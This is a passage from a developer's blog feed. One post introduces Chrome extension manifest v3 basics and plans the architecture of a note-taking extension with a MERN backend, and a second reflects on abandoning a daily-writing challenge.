This example, as many other methods in the API, is asynchronous. This means that it returns immediately, regardless of whether they have finished running. If you want to get data back from them, you have to pass a callback. Or use promises, but for those APIs that manifest v3 has Promise support as of now.

Finally, you can persist data with chrome's own extension API, chrome.storage. Which behaves just the same as the localStorage web API. With the main difference being that you can sync data with Chrome sync.

But you can also use HTML storage. So, web storage is also an option. And you can even take advantage of fancy things like indexedDB, which is an (JSON) object-based NoSQL database. If your extension needs to keep lots of data.

But how even?

I would encourage you to check out this amazing chart of the Architecture of Chrome Extensions that Yoshi made! It really helped me pull everything together inside my mind. Say hi to Yoshi for me!

Here's the basic mental model for my chrome-extension-development workflow.

Everything is centered around the manifest file. Which sits at the root of the project. And serves as a nexus where you declare everything you extension does.

You start by declaring the name, description, version and manifest version in manifest.json

{
  "name": "Super Awesome Extension",
  "description": "Turns the awesomeness up a notch... Or several!",
  "version" : "1.0",
  "manifest" : 3
}

If you want your extension to do anything, you will need to declare the thing on the manifest. You may also want to add permissions for things like storage.

{
  ...
  "background" : {
    "service_worker" : "background.js"
  },
  "permissions" : ["storage"]
}

If you want to use some part of the API, you have to... you guessed it. Declare it in the manifest! You can check the documentation for the API to see how. But I'll still show you an example.

{
  ...
  "action" : {
    "default_popup" : "makeAwesome.html"
  }
}

Check the chrome.action API to learn about the "action" object. Which refers to the browser toolbar icon. Here, we are declaring that the included "makeAwesome.html" file shall be rendered as a popup when you click on the extension's icon.

Suppose you want to have some logic. You will need to create and link a "makeAwesome.js" the usual way (eg. using the <script> tag). But will also need to tell chrome about it in the manifest... say it with me... you need to declare it.

{
  ...
  "permissions" : [..., "activeTab", "scripting"],
  ...
}

Here, you ask for permissions needed to allow the extension to interact with the active tab when the user uses the extension, and to use the scripting API if you want to inject JavaScript in a webpage.

If you have used manifest v2, this kinda replaces <all_urls>.

Finally, to load an (unpacked) extension, you will need to enter developer mode on chrome (from chrome://extensions/) and click the "load unpacked button".

Is there more to learn about extensions?

There are other research directions I found from those first four articles I found. For example. Why would I want to learn to write chrome extensions? (other than market share)

What about Firefox or Safari? What about the number one best web browser ever created... say it with me... edge?

It turns out that chrome's market share, and google's intentions with the chromium project (which you can read about in the comic) explain the current state of affairs. Both Firefox and edge used to have their own apis. But Edge eventually gave up and just adopted chrome's. And Firefox kinda did as well.

Not only that. There is now a Browser Extensions API for Firefox (and Safari) that is intended to work in whatever browser. And is pretty much just chrome's api.

The point is that Chrome's API is now the de facto standard.

Designing and (eventually) building an extension

I want to build a full project. Up to a SaaS offering centered around a chrome extension. So I have an excuse for learning. I will take several posts to achieve that.

I don't really plan on selling anything. But I will consider costs and the business side of things. As software architecture requires taking business domain knowledge into account.

So it is worth it to take pause, before jumping into code. And consider adopting a lighter stride. Here I will detail my initial design goals and some of the architectural directions I am considering for this project.

If I were to guess. Everything is bound, and likely, to change. I am open for feedback. As I am just learning this stuff.

Quick and dirty design goals

I want an extension that will help me write an "executive summary" from any article I read from the internet. As I am reading it. Let's write some user stories.

  1. I want a shortcut that allows me to frictionlessly write a small atomic note.

  2. I want to save those notes into a database. Along with the article reference.

  3. I want to be able to export all the notes from an article into a format I can paste into markdown.

  4. I want to have a frontend where I can browse my saved notes.

Please note that I am not using the “connextra” template. Nor are these requirements. Rather I want these to serve as prompts for when I have to figure how to implement whatever features I will need to fulfill such stories.

The MVP

For story 1, I will have the extension open a modal with a very simple editor in which I can write. I will make it so that pressing a key combination like "shift+n" (or something like so) opens the modal. The same for closing.

For both 2 and 3 I want to represent each article as a javascript object like this (I’m using TypeScript for this explanation, but I will use plain JavaScript for development)

interface article {
  title: string,
  url: string,
  notes: Array<string>
}

That will serve both as my data model and as the in-memory object that the extension will handle.

I will also have two main functions. The first one to format our object into either html or markdown

type Format = "html" | "markdown"

const formatArticle = (article: Article, format: Format):string => {...}

And the other so that the article object can save itself to a database.

type Response = "success" | "failure"

interface article {
 ...
saveToDB () : Promise<Response>
}

Finally, for point 4 above. I will have a small frontend app where I can browse my notes.

0EC0A99E-128A-4987-A8A1-F1E538B087C4.jpeg

High-level architecture design

Take a look at the monolithic blob I started with, before realizing it was a complete mess. Also, before deciding on graduating this project into a fully fledged SaaS product.

9D864461-2A2B-4E61-A65C-0F8856026957.jpeg

The main issue was that I wanted to use the IndexedDB Web API to save my notes. But I found it to be very wonky and obtuse when trying to fit it in the "service worker" approach of chrome extensions. Also, if I want to support syncing notes, it would require significant refactoring down the line. Chrome's storage API provides support for synching, but it is similar to the localStorage WebAPI. And I want document-based, like Mongo. I like MongoDB a lot.

So I thought. Why not Mongo?

BCA0542D-6644-484B-9DAA-4DEC057F85B1.jpeg

One thing led to another and that was the moment I came up with the SaaS idea. So let's decouple some more. And think about leveraging node and express for dealing with users and a Mongo database. And lets throw in a React frontend. Why not!

7157B3D3-4FAA-4F8E-9A12-23278A96B6BD.jpeg

Finally. You can see I have an architectural decision to make. I can either allow the extension to directly save to the database or I can route it through my server. There are some tradeoff with both alternatives:

  • The first option will require a substantial refactoring and resubmission of the extension if I make any change to the database or my data model.
  • The second option doesn't require any change in the extension code if I change how I do things on the database side. But will incur extra traffic on my server. Which to be honest is not really a problem for a small app that nobody will use. But, in the hypothetical that it has a lot of users, that will require careful consideration.

Whats next?

Seemingly at random, I switched the conversation from software design into architecture.

That is because I am learning about software architecture!

So I will continue this series by tackling just that!

The book section

I am reading this book Fundamentals of Software Architecture by Mark Richards and Neal Ford. I am really liking this book. It starts by attempting to offer a "4-fold" view of software architecture. Which goes beyond the system structure (i.e micro services, n-layered, etc).

They propose that Architecture involves such system structure as well as architecture characteristics (i.e "-ilities" like reliability, scalability, and so). And architectural decisions like the one I exemplified about whether the extension should communicate directly with the database. Finally, it also involves design principles that guide the way developers will shape the system.

All of them guided primarily by business goals, as well as technological capabilities. For example, I am only familiar with the MERN stack. So If I am the "dev team", my decision will take into account both the business goal (including costs, goals, infrastructure options, etc) as well as the technologies I can use or can learn how to use.

A disclaimer. I will start linking amazon affiliate links in my posts. But I will not spam books to you :D

Epilogue.

*heavy breathing* well, that was quite the adventure! It took me like a week to research!

I learned A LOT by writing this post. And I'm starting to feel like I have some idea of what I'm doing XD

I am really liking the big-picture architectural approach. I am not that much of a coder to be honest. And the big-picture thing really meshes well with how I think. I will focus more on that!

...

Anyways, see you next time!

]]><![CDATA[I -almost- made it :D]]>https://blog.jrlgs.dev/i-almost-made-it-dhttps://blog.jrlgs.dev/i-almost-made-it-dThu, 24 Mar 2022 05:28:02 GMTHow do you people do it?

I recently started doing the twitter thing again and I cannot help but wonder how the hell are some of you doing 100 consecutive days of anything.

Well, I was writing everyday. Hence the now-petulant name of this series. I wanted to see how far I could make it, tough.

2 weeks. Two measly weeks was all I could muster.

But I learned a few things. So here's the obligatory "what I learned by..." post of Hashnode tradition.

Or whatever.

It was way easier than I thought

This one was surprising to me. I usually have a very hard time writing, much less so doing it constantly. I used to have to write a lot during my time at university. So I know I can write.

But doing it out of my own free will? That was really something that I wasn't expecting.

I speculate that the context -a blog, with feedback in the form of comments- has a lot to do with it.

Academic writing is very solitary and feedback-deprived as it is. I used to have a bad case of writing-about-weird-stuff-even-for-philosophers. So, expectedly, I used to get very little feedback.

We are talking about a "you missed a comma" once or twice a year.

I wish I was kidding!

Seriously, how do you do it?

My brain comes equipped with two modes of processing time.

RIGHT NOW!

and

NOT RIGHT NOW!

And I have this very nasty thing that makes it so that anything that graduates from "now" ceases to form part of my umwelt. With a moratorium of at least two hours. But it can be days.

Yet my brain figures that any chirping birb on the background is a matter of national urgency.

As important as whatever JavaScript I could be typing. At any moment's notice.

If not more! Because... birbs!

I learned a ton

But thanks to whatever magic this twitter-blog thingy I'm doing, I have kept way more productive than pretty much ever.

Which is great! I have learned a lot, just by writing about it.

What is not great is that I am still very unable to keep track of those damn days of code.

...

Epilogue.

No seriously. How do you do it?

Like seriously.

It's starting to stop being funny :(

...

See you... tomorrow?

P.S. Don’t take any of this too seriously. Sardonic smugness is my way of coping! :P

*Obligatory beg-for-money section*

]]>